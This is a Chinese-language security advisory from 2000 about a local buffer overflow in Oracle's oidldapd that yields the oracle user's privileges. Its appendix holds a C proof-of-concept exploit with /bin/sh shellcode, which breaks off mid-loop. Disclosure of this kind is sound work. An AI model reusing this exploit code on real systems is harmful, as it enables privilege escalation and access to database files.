【发布日期】
2000-10-23
【来源】
BUGTRAQ@SECURITYFOCUS.COM,16-10-2000
pask@plazasite.com
【影响的系统】
目前仅在Linux上进行了测试,但可能影响其他的系统。
【概述】
oidldapd是一个Oracle Internet Directory.Oracle Ldap 幽灵程序。
【详细描述】
在oidldapd中有一个缓冲区溢出漏洞,本地用户利用它可以得到oracle用户的
euid。缺省安装,oracle用户拥有所有的数据库文件。
【影响】
任何拥有本地访问权的用户都可以获得euid=oracle。
【解决方法】
可能用chmod -s即可。
【附录-验证程序】
#include
#include
#define DEFAULT_OFFSET 13
#define DEFAULT_BUFFER_SIZE 700
#define NOP 0x90
#define ORACLE_HOME
"/usr/local/oracle/app/oracle/product/8.1.6"
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr,*name[3],environ[100],binary[120];
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
buff = malloc(bsize);
addr = get_sp() - offset;
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i
|